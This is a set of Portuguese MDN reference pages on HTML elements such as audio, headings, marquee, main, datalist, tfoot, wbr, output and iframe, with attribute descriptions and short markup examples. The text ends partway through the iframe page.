{"title":"audio - HTML: Linguagem de Marcação de Hipertexto","text":"audio\n=====\n\nSumário\n-------\n\nO elemento `audio` é utilizado para embutir conteúdo de som em um documento HTML ou XHTML.O elemento `audio` foi adicionado como parte do HTML5.\n\nVocê pode utilizar recursos avançados da API de áudio — que são específicas do Gecko — para gerar e manipular diretamente fluxo de áudio a partir do código JavaScript. Veja Introducing the audio API extension para detalhes.\n\nContexto de Uso\n---------------\n\n| Conteúdo permitido | Transparent content (en-US), tanto um atributo `src` quanto um ou mais elementos `<source>`, seguidos por um flow content (en-US) ou phrasing content (en-US), sem`<video>` ou elementos `<audio>`. |\n| --- | --- |\n| Omissão de tag | Nenhuma, tanto as tags iniciais quanto as finais devem estar presentes. |\n| Elementos pai permitidos | Qualquer elemento que aceite flow content (en-US), ou qualquer elemento que aceite phrasing content (en-US). |\n| Documento normativo | HTML5, section 4.8.7 |\n\nAtributos\n---------\n\nComo todos os elementos HTML, este elemento suporta os global attributes (en-US).\n\n`autoplay`\n\nUm atributo Booleano; se especificado (mesmo se o valor for \"false\"!), o áudio iniciará automaticamente assim que possível sem parar de carregar os dados.\n\n`autobuffer`\n\nUm atributo Booleano; se especificado, o audio será baixado automaticamente, mesmo se não está configurado para reprodução automática. Isto continua até que o cache de mídia esteja cheio, ou até que o o arquivo de áudio completo tenha sido baixado, o que vier primeiro. Isto deve ser utilizado apenas quando é esperado que o usuário escolherá tocar o áudio; por exemplo, se o usuário navegou para a página utilizando um link \"Reproduzir\". Este atributo foi removido no Gecko 2.0 em razão do atributo `preload`.\n\n`buffered`\n\nUm atributo que pode ser lido para determinar os intervalos do áudio que já foram carregados. Este atributo contém um objeto `TimeRanges` (en-US).\n\n`controls`\n\nSe esse atributo estiver presente, o navegador oferecerá controles para permitir ao usuário controlar a reprodução do áudio, incluindo volume, navegação, e pausa/continuação da reprodução.\n\n`loop`\n\nUm atributo Booleano; se especificado, ao chegar no fim do áudio, ele voltará automaticamente para o começo.\n\n`mozCurrentSampleOffset` \nNon-standard\n\nThe offset, specified as the number of samples since the beginning of the audio stream, at which the audio is currently playing.\n\n`muted`\n\nUm atributo Booleano que indica se o áudio será inicializado silenciado.\n\n`played`\n\nUm objeto `TimeRanges` (en-US)indicando que todo o áudio foi reproduzido.\n\n`preload`\n\nEsse atributo enumerado pretende dar uma sugestão ao navegador sobre o que o autor pensa que proporcionará uma melhor experiência do usuário. Ele pode ter os seguintes valores:\n\n* none: indica que o usuário não necessitará consultar o áudio ou que o servidor quer minimizar seu tráfego; em outros termos indica que o áudio não deve ser pré-carregado;\n* metadata: indica que embora o usuário não necessitará consultar o áudio, pegar os meta-dados (ex: comprimento) é interessante;\n* auto: indica que o usuário necessita ter prioridade; em outros termos isso significa que, se necessário, o áudio inteiro pode ser baixado, mesmo que não seja esperado a execução;\n* Uma *string vazia*: é um sinônimo do valor auto.\n\nSe não definido, seu valor padrão será definido pelo navegador (isto é, cada navegador pode escolher seu valor padrão), embora a especificação recomenda que seja definido para o metadata.\n\n> \n> **Note:** **Notas de uso:**- O atributo `autoplay` tem precedência sobre o `preload`, pois se é necessário executar o áudio automaticamente, o navegador obviamente o baixará. Definindo ambos `autoplay` e `preload` é permitido pela especificação.\n> \n> \n> * O navegador não é forçado pela especifição a seguir o valor desse atributo; é apenas uma sugestão.\n> \n> \n> \n\n`src`\n\nA URL do áudio a ser incorporado. Isso é sujeito a HTTP access controls (en-US). Isto é opcional; ao invés disso você pode usar o elemento `<source>` dentro do bloco do áudio para especificar o vídeo a ser incorporado .\n\nO tempo de compensação (time offset) entre o áudio e o vídeo está especificado como um valor de ponto flutuante (float) representando o número de segundos da compensação.\n\n**Nota:** A definição de valor de tempo de compensação ainda não foi completada na especificação do HTML 5 e está sujeita a mudança.\n\nExamples\n--------\n\n\n```html\n<!-- Reprodução simples de áudio -->\n<audio\n src=\"https://developer.mozilla.org/@api/deki/files/2926/=AudioTest\\_(1).ogg\"\n autoplay>\n  O seu navegador não suporta o elemento <code>audio</code>.\n</audio>\n\n<!-- Reprodução de áudio com legendas -->\n<audio src=\"foo.ogg\">\n  <track kind=\"captions\" src=\"foo.en.vtt\" srclang=\"en\" label=\"English\" />\n  <track kind=\"captions\" src=\"foo.sv.vtt\" srclang=\"sv\" label=\"Svenska\" />\n</audio>\n```\n\n\nReproduz o arquivo de áudio anexado a esse artigo.\n\nInterface do DOM\n----------------\n\n* HTMLAudioElement (en-US)\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Media formats supported by the audio and video elements (en-US)\n* Introducing the audio API extension\n* `HTMLAudioElement` (en-US)\n* `nsIDOMHTMLMediaElement`\n* `video`\n* Using audio and video (en-US)\n* The `audio` element (Especificação HTML5)"}
{"title":"<h1>–<h6>: Os elementos HTML de cabeçalho da seção - HTML: Linguagem de Marcação de Hipertexto","text":"<h1>–<h6>: Os elementos HTML de cabeçalho da seção\n==================================================\n\nOs **elementos HTML** **`<h1>`–`<h6>`** representam seis níveis de título de seção. `<h1>` é o nível de seção mais alto e `<h6>` é o mais baixo.\n\nExperimente\n-----------\n\nSumário\n-------\n\nElementos de **cabeçalho** são implementados em seis níveis, `<h1>` é o mais importante e `<h6>` é o de menor importância. Um elemento de cabeçalho descreve brevemente o tópico da seção em que ele está. As informações de cabeçalho podem ser usadas por agentes de usuário, por exemplo, para construir uma tabela de conteúdos para um documento automaticamente.\n\n* *Categorias do conteúdo* Conteúdos de fluxo, conteúdos de cabeçalho, conteúdos palpáveis.\n* *Conteúdo permitido* Conteúdo com texto.\n* *Omissão de tag* Não há, porém, as tags de abertura e fechamento são obrigatórias.\n* *Elementos pais permitidos* Qualquer elemento que aceite conteúdos de fluxo; ou como um elemento filho do grupo de elementos de cabeçalho `<hgroup>`\n* *Interface DOM* `HTMLHeadingElement` (en-US)\nAtributos\n---------\n\nEsses elementos incluem os atributos globais.\n\nO atributo **align** está \nDeprecated\n no HTML 4 e no HTML 5.\n\nExemplos\n--------\n\n### Todos os cabeçalhos\n\nO seguinte código mostra, em uso, todos os níveis de cabeçalho.\n\n\n```html\n<h1>Cabeçalho nível 1</h1>\n<h2>Cabeçalho nível 2</h2>\n<h3>Cabeçalho nível 3</h3>\n<h4>Cabeçalho nível 4</h4>\n<h5>Cabeçalho nível 5</h5>\n<h6>Cabeçalho nível 6</h6>\n```\n\n\nAqui está o resultado deste código:\n\n### Página de exemplo\n\nO código seguinte mostra alguns cabeçalhos com um pouco de conteúdo abaixo deles.\n\n\n```html\n<h1>Elementos de cabeçalho</h1>\n<h2>Sumário</h2>\n<p>Algum texto aqui...</p>\n\n<h2>Exemplos</h2>\n<h3>Exemplo 1</h3>\n<p>Algum texto aqui...</p>\n\n<h3>Exemplo 2</h3>\n<p>Algum texto aqui...</p>\n\n<h2>Veja também</h2>\n<p>Algum texto aqui...</p>\n```\n\n\nAqui está o resultado deste código:\n\nNotas\n-----\n\n**Não** use níveis menores para diminuir o tamanho da fonte do cabeçalho: use a propriedade CSS `font-size` .\n\nEvite pular níveis de cabeçalhos: sempre comece com `<h1>`, depois `<h2>` e assim por diante. Tente, também, ter pelo menos um cabeçalho de primeiro nível em uma página..\n\nEm HTML 5, use o elemento `<section>` para definir o outline de um documento. Cabeçalhos fornecem títulos para secções e subsecções. Você também pode agrupar um cabeçalho e seu conteúdo usando o elemento `<div>` .\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-h1,-h2,-h3,-h4,-h5,-and-h6-elements |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<p>`\n* `<div>`\n* `<section>`"}
{"title":"<marquee> - HTML: Linguagem de Marcação de Hipertexto","text":"<marquee>\n=========\n\nO elemento html <marquee> é usado para inserir uma área de rolagem de texto\"scrolling\" , similar a um letreiro. Você pode controlar o comportamento do conteúdo fornecendo alguns atributos extras.\n\nAtributos\n---------\n\n`behavior`\n\nDefine como o texto é rolado dentro da área do letreiro. Os valores possíveis são scroll, slide e alternate. Se nenhum valor for especificado, o valor padrão será scroll.\n\n`bgcolor`\n\nDefine a cor do plano de fundo do letreiro através do nome da cor (ex: red, blue) ou de um valor hexadecimal.\n\n`direction`\n\nDefine a direção da rolagem do texto dentro do letreiro, os possíveis valores são: left, right, up & down. Se nenhum valor for especificado, o valor padrão será \"left\".\n\n`height`\n\nDefine a altura do letreiro em pixeis ou em um valor percentual.\n\n`hspace`\n\nAplica a margem horizontal.\n\n`loop`\n\nDefine o número de repetições da animação do letreiro. Se nenhum valor for especificado assumirá o valor padrão de -1, que significa que a animação será repetida infinitamente.\n\n`scrollamount`\n\nDefine em pixeis o tamanho de rolagem em cada intervalo, o valor padrão é 6.\n\n`scrolldelay`\n\nDefine o intervalo de tempo entre cada animação de rolagem em milissegundos. O valor padrão é 85. Qualquer valor menor que 60 será ignorado e o valor 60 será usado, a menos que seja especificado como truespeed.\n\n`truespeed`\n\nPor padrão, valores abaixo de 60 milissegundos são ignorados, a menos que o valor truespeed esteja presente, caso esteja estes valores são aceitos.\n\n`vspace`\n\nAplica uma margem vertical em pixeis ou em valor percentual.\n\n`width`\n\nDefine a largura em pixeis ou em um valor percentual.\n\nEvent Handlers\n--------------\n\n`onbounce`\n\nDispara quando o letreiro alcança o final da sua posição de rolagem. Ele apenas dispara quando o comportamento está configurado como `alternate.`\n\n`onfinish`\n\nDispara quando o letreiro terminar a quantidade de repetições definida pelo atributo loop. Só pode disparar quando o atributo loop estiver definido para algum número maior que 0, obviamente.\n\n`onstart`\n\nDispara quando o letreiro começa a se mover.\n\nMétodos\n-------\n\n`start()`\n\nComeça a mover o letreiro.\n\n`stop()`\n\nPara de mover o letreiro.\n\nExemplos\n--------\n```\n\n<marquee>Este texto vai \"rolar\" da direita para esquerda</marquee>\n\n<marquee direction=\"up\">Este texto vai rolar de baixo para cima.</marquee>\n\n<marquee direction=\"down\" width=\"250\" height=\"200\" behavior=\"alternate\" style=\"border:solid\">\n  <marquee behavior=\"alternate\">\n    Este texto vai pular\n  </marquee>\n</marquee>\n```"}
{"title":"<main> - HTML: Linguagem de Marcação de Hipertexto","text":"<main>\n======\n\nResumo\n------\n\nO elemento **`<main>`** define o conteúdo principal dentro do `<body>` em seu documento ou aplicação. Entende-se como conteúdo principal aquele relacionado diretamente com o tópico central da página ou com a funcionalidade central da aplicação. O mesmo deverá ser único na página, ou seja, dentro do elemento <main> não deverão ser incluidas seções da página que sejam comuns a todo o site ou aplicação, tais como mecanismos de navegação, informações de copyright, logotipo e campos de busca (a não ser, é claro, caso a função principal do documento seja fazer algum tipo de busca).\n\n**Nota:** `<main>` **não pode** ser filho dos elementos `<article>`, `<aside>`, `<footer>`, `<header>`, ou `<nav>`.\n\nAutores **não devem** incluir mais de um elemento main no mesmo documento\\*\\*.\\*\\*\n\n* *Categorias de conteúdo (en-US)*Conteúdo de fluxo, conteúdo palpável.\n* *Conteúdo permitido* Conteúdo de fluxo.\n* *Omissão de tag* Nenhuma; ambas as tags de início e fim são obrigatórios.\n* *Elementos pais permitidos* Qualquer elemento que aceite conteúdo de fluxo, mas não pode ser filho dos elementos `<article>`, `<aside>`, `<footer>`, `<header>`, ou `<nav>`.\n* *DOM interface* `HTMLElement` (en-US)\nAtributos\n---------\n\nEste elemento admite apenas os atributos globais.\n\nExemplo\n-------\n\n\n```html\n<!-- outro conteúdo -->\n\n<main>\n  <h1>Maçãs</h1>\n  <p>A maçã é a fruta pomácea da macieira.</p>\n\n  <article>\n    <h2>Vermelho delicioso</h2>\n    <p>\n      Estas maçãs vermelhas brilhantes são as mais comumente encontradas em\n      muitos supermercados.\n    </p>\n    <p>...</p>\n    <p>...</p>\n  </article>\n\n  <article>\n    <h2>Granny Smith</h2>\n    <p>\n      Essas suculentas maçãs verdes, são um ótimo recheio para torta de maçã.\n    </p>\n    <p>...</p>\n    <p>...</p>\n  </article>\n</main>\n\n<!-- outro conteúdo -->\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-main-element |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nO elemento <main> é amplamente suportado (exceto pelo Internet Explorer). Sugere-se que, até que o elemento <main> seja suportado pelo Internet Explorer, adicione a ele o atributo role com o valor \"main\":\n\n\n```html\n<main role=\"main\">...</main>\n```\n\nVeja também\n-----------\n\n* Elementos estruturais básicos: `<html>`, `<head>`, `<body>`\n* Elementos relacionados a seções: `<article>`, `<aside>`, `<footer>`, `<header>`, or `<nav>`"}
{"title":"datalist - HTML: Linguagem de Marcação de Hipertexto","text":"datalist\n========\n\nSumário\n-------\n\nO elemento HTML *Datalist* (<datalist>) contém um conjunto de elementos `<option>` que representam as opções possíveis para o valor de outros controles.\n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Phrasing content ou qualquer quantidade de elementos `<option>` (ou nenhum) |\n| --- | --- |\n| Omissão de tags | Nenhuma, ambas as tags inicial e final são obrigatórias |\n| Elementos pais permitidos | Qualquer elemento que aceite phrasing content |\n| Documento normativo | HTML5, section 4.10.10 |\n\nAtributos\n---------\n\nEsse elemento não tem nenhum atributo a não ser os global attributes, comuns para todos os elementos.\n\nInterface do DOM\n----------------\n\nEsse elemento implementa a interface `HTMLDataListElement`.\n\nExemplos\n--------\n\n\n```html\n<input list=\"browsers\" />\n<datalist id=\"browsers\">\n  <option value=\"Chrome\"></option>\n  <option value=\"Firefox\"></option>\n  <option value=\"Internet Explorer\"></option>\n  <option value=\"Opera\"></option>\n  <option value=\"Safari\"></option>\n</datalist>\n```\n\n\nView Live Examples\n\nEsse código HTML é renderizado assim no Firefox 4:\n\n![datalist.png](/pt-BR/docs/Web/HTML/Element/datalist/datalist.png)\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nPolyfill\n--------\n\n Inclua este polyfill para fornecer suporte para navegadores mais antigos e atualmente incompatíveis:\n datalist-polyfill\n\nVeja também\n-----------\n\n* O elemento `<input>`, especialmente seu atributo `list`;\n* O elemento `<option>`."}
{"title":"<tfoot>: Elemento para o rodapé da tabela - HTML: Linguagem de Marcação de Hipertexto","text":"<tfoot>: Elemento para o rodapé da tabela\n=========================================\n\nO **`<tfoot>`** é um **elemento HTML** que define um conjunto de linhas as quais farão parte do rodapé de uma tabela HTML\n\nExperimente\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Nenhum. |\n| Conteúdo permitido | Zero ou mais `<tr>` (en-US) elementos. |\n| Omitir Tag | \n Iniciar a tag é obrigatório. O fechamento da tag pode ser omitida caso\n não exista mais conteúdo no elemento pai\n `<table>`.\n  |\n| Pais permitidos | \n O elemento `<table>`. O\n `<tfoot>` deve aparecer depois de qualquer\n `<caption>`,\n `<colgroup>` (en-US), `<thead>` (en-US),\n `<tbody>` (en-US), ou elementos\n `<tr>` (en-US). Note que isso é requerido no HTML5.O elemento `<tfoot>` não pode ser colocado depois\n de qualquer `<tbody>` (en-US) e o elemento\n `<tr>` (en-US). Note que isso contradiz diretamento com as\n normas do HTML5.\n  |\n| Papeis de ARIA permitidos | Qualquer um |\n| Interface DOM | `HTMLTableSectionElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\n`align` \nDeprecated\n\nEstes atributos especificam como será o alinhamento horizontal de cada conteúdo da célula. Os possíveis valores são:\n\n* `left`, alinha o conteúdo do elemento a esquerda da célula\n* `center`, centraliza o conteúdo ao centro da célula\n* `right`, alinha o conteúdo do elemento a direita da célula\n* `justify`, insere espaços ao texto para que o mesmo fique centralizado na célula\n* `char`, alinha o texto em um alinhamento especial com um deslocamento mínimo definido pelos atributos `char` (en-US) e `charoff` (en-US) atributos Unimplemented (see Firefox bug 2212).\n\nSe nenhum atributo for definido o valor `left` é passado por padrão\n\n> \n> \\*\\*Note:\\*\\*Não use esse atributo o mesmo está obsoleto (não suportado) no último padrão.- Para obter os mesmo efeitos `left`, `center`, `right` ou `justify`, use a propriedade `text-align` do CSS.\n> \n> \n> * Para obter o mesmo efeito no CSS3, você pode usar os valores `char` com o valor de `text-align` propriedade Unimplemented.\n> \n> \n> \n\n`bgcolor` \nNon-standard\n\nEste atributo define uma cor de fundo para cada célula da coluna. Cada um dos 6 dígitos define um código hexadecimal no sRGB, prefixado pelo '#'. Um desses nomes de cores predefinidos também podem ser usado:\n\n|  | `black` = \"#000000\" |  | `green` = \"#008000\" |\n| --- | --- | --- | --- |\n|  | `silver` = \"#C0C0C0\" |  | `lime` = \"#00FF00\" |\n|  | `gray` = \"#808080\" |  | `olive` = \"#808000\" |\n|  | `white` = \"#FFFFFF\" |  | `yellow` = \"#FFFF00\" |\n|  | `maroon` = \"#800000\" |  | `navy` = \"#000080\" |\n|  | `red` = \"#FF0000\" |  | `blue` = \"#0000FF\" |\n|  | `purple` = \"#800080\" |  | `teal` = \"#008080\" |\n|  | `fuchsia` = \"#FF00FF\" |  | `aqua` = \"#00FFFF\" |\n\n> \n> **Note:** Não use este atributo, como não é mais padrão ele não foi implementado em algumas versões do Microsoft Internet Explorer: o elemento `<tfoot>` pode ser estilizando com CSS. Para conseguir simular efeitos do atributo **bgcolor** use a propriedade `background-color` do CSS , nos elementos `<td>` (en-US) ou `<th>`.\n> \n> \n> \n\n`char` \nDeprecated\n\nO elemento é usado para alinhar as células em uma columa. Valores típicos para isso inclui o periódico (.) quando se alinha valores monetários. Se `align` não é definido para `char`, este atributo é ignorado\n\n**Nota:** Não use esté atributo, ele é obsoleto (e não é mais suportado) desde da última versão padrão. Em vez disso use `char` no CSS3, você pode usar o atributo `char` com a propriedade `text-align`.\n\n`charoff` \nDeprecated\n\nO atributo é usado para indicar um número de caracteres para compensar os dados da coluna dos caracteres de alinhamento especificados pelo atributo **char**.\n\n**Nota:** Não use esse atributo o mesmo está obsoleto (e não é mais suportado) na última versão padrão.\n\n`valign` \nDeprecated\n\nO atributo específico para o alinhamento do texto dentro de cada linha da célula do cabeçalho de uma tabela. Possíveis valores para esse atributo são:\n\n* `baseline`, coloca o texto o mais próximo possível da parte de baixo da célula, mas o alinha a baseline dos caracteres em vez do **bottom** deles. Caso os caracteres tenham todos os mesmo tamanho, eles terão o mesmo efeito que `bottom`.\n* `bottom`, coloca o texto o mais próximo possível da parte de baixo da célula;\n* `middle`, centraliza o texto na célula;\n* e `top`, coloca o texto o mais próximo possível do topo da célula.\n\n**Nota:** Não use este atributo eles está obsoleto (e não é suportado) no último padrão: em vez disso use a propriedade `vertical-align` do CSS.\n\nExemplos\n--------\n\nPor favor veja a página `<table>` para exemplos sobre `<tfoot>`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-tfoot-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elemento HTML relacionados a tabela: `<caption>`, `<col>` (en-US), `<colgroup>` (en-US), `<table>`, `<tbody>` (en-US), `<td>` (en-US), `<th>`, `<thead>` (en-US), `<tr>` (en-US);\n* Propriedades CSS e pseudo-classes são especialmente úteis para estilizar elementos `<tfoot>`:\n    + a pseudo-class `:nth-child` para definir o alinhamento nas células de uma coluna;\n    + a propriedade `text-align` para alinar as células do conteúdo que tenham um memso caractere como '.'."}
{"title":"<wbr> - HTML: Linguagem de Marcação de Hipertexto","text":"<wbr>\n=====\n\nResumo\n------\n\nO elemento HTML `<wbr>` representa uma posição no texto onde o navegador pode, opcionalmente, quebrar uma linha, embora suas regras de quebra de linha de outra forma não criar uma ruptura naquele local.\n\nEm UTF-8 páginas codificadas, `<wbr>` se comporta como o `U+200B de tamanho zero ESPAÇO` ponto de código. Em particular, ele se comporta como um bidi Unicode BN ponto de código, o que significa que não tem efeito sobre bidi-encomenda: `<div dir=rtl> 123, <wbr> 456 </ div>` exibe, quando não quebrado em duas linhas, `123.456` e Não `456,123` .\n\nPela mesma razão, o `<wbr>` elemento não introduzir um hífen no ponto de quebra de linha. Para fazer um hífen só aparecem no final de uma linha, use a entidade suave caractere hífen ( `&shy;` ) em seu lugar.\n\nEste elemento foi implementado pela primeira vez no Internet Explorer 5.5 e foi oficialmente definido no HTML5.\n\nContexto de uso\n---------------\n\n| Permitida conteúdo | Vazio |\n| --- | --- |\n| Tag omissão | Este é um elemento vazio; ele deve ter uma marca de início, mas não deve ter uma tag de fechamento. |\n| Elementos pai permitidas | Qualquer elemento que aceita conteúdo fraseado (en-US) . |\n| Documento normativo | HTML 5, seção 4.6.24 |\n\nAtributos\n---------\n\nEste elemento só inclui os atributos globais (en-US).\n\nDOM interface\n-------------\n\nEste elemento implementa o HTMLElement (en-US) interface.\n\nExemplo\n-------\n\nO Guia de Estilo Yahoo recomenda quebrar uma URL *antes de* pontuação , para não deixar uma marca de pontuação no final da linha, o que o leitor pode confundir com o fim da URL.\n\n\n```html\n<p>\n  https://this<wbr />.is<wbr />.a<wbr />.really<wbr />.long<wbr />.example<wbr />.com/With<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages\n</p>\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Output - HTML: Linguagem de Marcação de Hipertexto","text":"Output\n======\n\nSumário\n-------\n\nO elemento de saída (<output>) é um elemento no qual um site ou aplicativo pode injetar os resultados de um cálculo ou o resultado de uma ação do usuário.\n\n| Categorias de conteúdo | Flow content, phrasing content, listed, labelable, resettable form-associated element. |\n| --- | --- |\n| Conteúdo permitido | Phrasing content. |\n| Omissão de tag | Precisa ter ambas as tags de início e fim. |\n| Documento normativo | HTML5, section 4.10.15 |\n\nAtributos\n---------\n\nComo qualquer elemento HTML, este elemento suporta os global attributes.\n\n`for`\n\nUma lista de IDs de outros elementos, indicando que estes elementos contribuiram com valores de entrada (input) para o cálculo (ou outros afetados).\n\n`form`\n\nO elemento form ao qual este elemento está associado (seu \"proprietário do formulário\"). O valor do atributo deve ser um ID de um elemento form no mesmo documento. Se este atributo não está especificado, o elemento output deve ser descendente de um elemento form. Este atributo permite que você coloque elementos output em qualquer lugar em um documento, não apenas como descendentes de seus elementos form.\n\n`name`\n\nO nome do elemento.\n\nInterface DOM\n-------------\n\nO elemento implementa a interface HTMLOutputElement .\n\nExemplo\n-------\n```\n\n<form oninput=\"result.value=parseInt(a.value)+parseInt(b.value)\">\n0<input type=\"range\" name=\"b\" value=\"50\" />100 +<input type=\"number\" name=\"a\" value=\"10\" /> =\n<output name=\"result\"></output>\n</form>\n```\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nOutros elementos relacionados ao form: `<form>` (en-US), `<input>`, `<button>`, `<datalist>`, `<legend>`, `<label>`, `<select>`, `<optgroup>`, `<option>`, `<textarea>`, `<fieldset>`, `<progress>` and `<meter>`."}
{"title":"<iframe> - HTML: Linguagem de Marcação de Hipertexto","text":"<iframe>\n========\n\nO **elemento** **HTML** **<iframe>** (ou *elemento HTML* *inline frame*) representa um contexto de navegação aninhado, efetivamente incorporando outra página HTML para a página atual. Em HTML 4.01, um documento pode conter uma cabeça e um corpo ou uma cabeça e um conjunto de quadros, mas não tanto um corpo e um conjunto de quadros. No entanto, um <iframe> pode ser usado dentro de um corpo de documento normal. Cada contexto de navegação tem sua própria história de sessão e o documento ativo. O contexto de navegação que contém o conteúdo incorporado é chamado o pai de contexto de navegação. O contexto de navegação de nível superior (que não tem um pai) normalmente é a janela do navegador.\n\n* *Content categories (en-US)* Flow content (en-US), phrasing content (en-US), embedded content, interactive content, palpable content.\n* *Permitted content* Special, see prose\n* *Tag omission* None, both the starting and ending tag are mandatory.\n* *Permitted parent elements* Any element that accepts embedded content.\n* *DOM interface* `HTMLIFrameElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`align` \nDeprecated\n\nO alinhamento deste elemento em relação ao contexto.\n\n`allowfullscreen`\n\nEsse atributo pode ser definido como true se o quadro é permitido para ser colocado em modo de tela cheia, chamando seu método de `element.mozRequestFullScreen()` (en-US). Se isto não estiver definido, o elemento não pode ser colocado em modo de tela cheia.\n\n`frameborder`\n\nO valor 1 (o padrão) pede ao navegador para desenhar uma borda entre este quadro e todos os outros quadros. O valor 0 informa ao navegador para não traçar uma fronteira entre este quadro e outros quadros.\n\n`height`\n\nIndica a altura do quadro HTML 5 em pixels CSS, ou HTML 4 em pixels ou porcentagem.\n\n`longdesc`\n\nUma URI de uma longa descrição do quadro. Devido à má utilização generalizada, isto não é útil para navegadores não-visuais.\n\n`marginheight`\n\nA quantidade de espaço em pixels entre o conteúdo do quadro e suas margens superior e inferior.\n\n`marginwidth`\n\nA quantidade de espaço em pixels entre o conteúdo dos quadros e suas margens direita e esquerda.\n\n`mozallowfullscreen` \nNon-standard\n\nDeprecated\n\nUse **`allowfullscreen`** ao invés. Em Gecko 9.0 or later, this attribute can be set to `true` if the frame is allowed to be placed into full screen mode by calling its `element.mozRequestFullScreen()` (en-US) method. If this isn't set, the element can't be placed into full screen mode.\n\n`webkitallowfullscreen` \nNon-standard\n\nDeprecated\n\nUse **`allowfullscreen`** ao invés. No Chrome 17 ou mais novo (e talvez mais antigo), this attribute can be set to `true` if the frame is allowed to be placed into full screen mode by calling its `element.webkitRequestFullScreen()` method. If this isn't set, the element can't be placed into full screen mode.\n\n`mozapp` \nNon-standard\n\nFor frames hosting an open web app (en-US), this specifies the URL of the app manifest (en-US). This ensures that the app is loaded with the right permissions. See Using the Browser API for details. Available in Gecko 13.0 and later.\n\n`mozbrowser` \nNon-standard\n\nIndicates that the frame is to appear like a top-level browser window to the embedded content. This means that `window.top` (en-US), `window.parent` (en-US), `window.frameElement` (en-US), etc. will *not* reflect the frame hierarchy. This allows for a web browser UI to be implemented entirely with web technology, given the right permissions. See Using the Browser API for details. Available in Gecko 13.0 and later.\n\n`name`\n\nA name for the embedded browsing context (or frame). This can be used as the value of the **`target`** attribute of an `<a>` or `<form>` (en-US) element, or the formtarget attribute of an `<input>` or `<button>` element.\n\n`remote` \nNon-standard\n\nCarrega a página do *frame* em um processo separado.\n\n`scrolling`\n\nEnumerated attribute indicating when the browser should provide a scroll bar (or other scrolling device) for the frame:\n\n* `auto`: Só quando necessário.\n* `yes`: Sempre mostrar uma barra de rolagem.\n* `no`: Nunca mostrar uma barra de rolagem.\n\n`sandbox`\n\nIf specified as an empty string, this attribute enables extra restrictions on the content that can appear in the inline frame. The value of the attribute can either be an empty string (all the restrictions are applied), or a space-separated list of tokens that lift particular restrictions. Valid tokens are:\n\n* `allow-same-origin`: Allows the content to be treated as being from its normal origin. If this keyword is not used, the embedded content is treated as being from a unique origin.\n* `allow-top-navigation`: Allows the embedded browsing context to navigate (load) content to the top-level browsing context. If this keyword is not used, this operation is not allowed.\n* `allow-forms`: Allows the embedded browsing context to submit forms. If this keyword is not used, this operation is not allowed.\n* `allow-popups`: Allows popups (like from window.open).\n* `allow-scripts`: Allows the embedded browsing context to run scripts (but not create pop-up windows). If this keyword is not used, this operation is not allowed.\n* `allow-pointer-lock`: Allows the embedded browsing context to use the Pointer Lock API (en-US).\n\n> \n> **Note:**\n> \n> \n> * When the embedded document has the same origin as the main page, it is strongly discouraged to use both `allow-scripts` and `allow-same-origin` at the same time, as that allows the embedded document to programmatically remove the `sandbox` attribute. Although it is accepted, this case is no more secure than not using the `sandbox` attribute.\n> * Sandboxing in general is only of minimal help if the attacker can arrange for the potentially hostile content to be displayed in the user's browser outside a sandboxed `iframe`. It is recommended that such content should be served from a *separate dedicated domain*, to limit the potential damage.\n> * The `sandbox` attribute is not supported in Internet Explorer 9 and earlier versions, or in Opera.\n> \n> \n> \n\n`seamless`\n\nThis **Boolean attribute** indicates that the browser should render the inline frame in a way that makes it appear to be part of the containing document, for example by applying CSS styles that apply to the `<iframe>` to the contained document before styles specified in that document, and by opening links in the contained documents in the parent browsing context (unless another setting prevents this). In XHTML, attribute minimization is forbidden, and the seamless attribute must be defined as `<iframe seamless=\"seamless\">`.\n\n`src`\n\nThe URL of the page to embed.\n\n`srcdoc`\n\nThe content of the page that the embedded context is to contain. This attribute is expected to be used together with the sandbox and seamless attributes. If a browser supports the `srcdoc` attribute, it will override the content specified in the `src` attribute (if present). If a browser does NOT support the `srcdoc` attribute, it will show the file specified in the `src` attribute instead (if present).\n\n`width`\n\nIndicates the width of the frame HTML 5 in CSS pixels, or HTML 4 in pixels or as a percentage.\n\nScripting\n---------\n\nInline frames, like `<frame>` (en-US) elements, enter the `window.frames` (en-US) pseudo-array.\n\nFrom the DOM `iframe` element, scripts can get access to the `window` object of the included HTML page via the `contentWindow` property. The `contentDocument` property refers to the document element inside the `iframe` (this is equivalent to `contentWindow.document`), but is not supported by Internet Explorer versions before IE8.\n\nFrom the inside of a frame, a script can get a reference to the parent window via `window.parent` (en-US).\n\nScripts trying to access a frame's content are subject to the same-origin policy (en-US), and cannot access most of the properties in the other window object if it was loaded from a different domain. This also applies to a script inside a frame trying to access its parent window. Cross-domain communication can still be achieved with `window.postMessage` (en-US).\n\nExemplo 1\n---------\n\n\n```html\n<script>\n var iframe = window.getElementsByTagName(\"iframe\")[0];\n alert(\"Frame title: \" + iframe.contentWindow.title);\n</script>\n\n<iframe src=\"page.html\" width=\"300\" height=\"300\">\n  <p>Your browser does not support 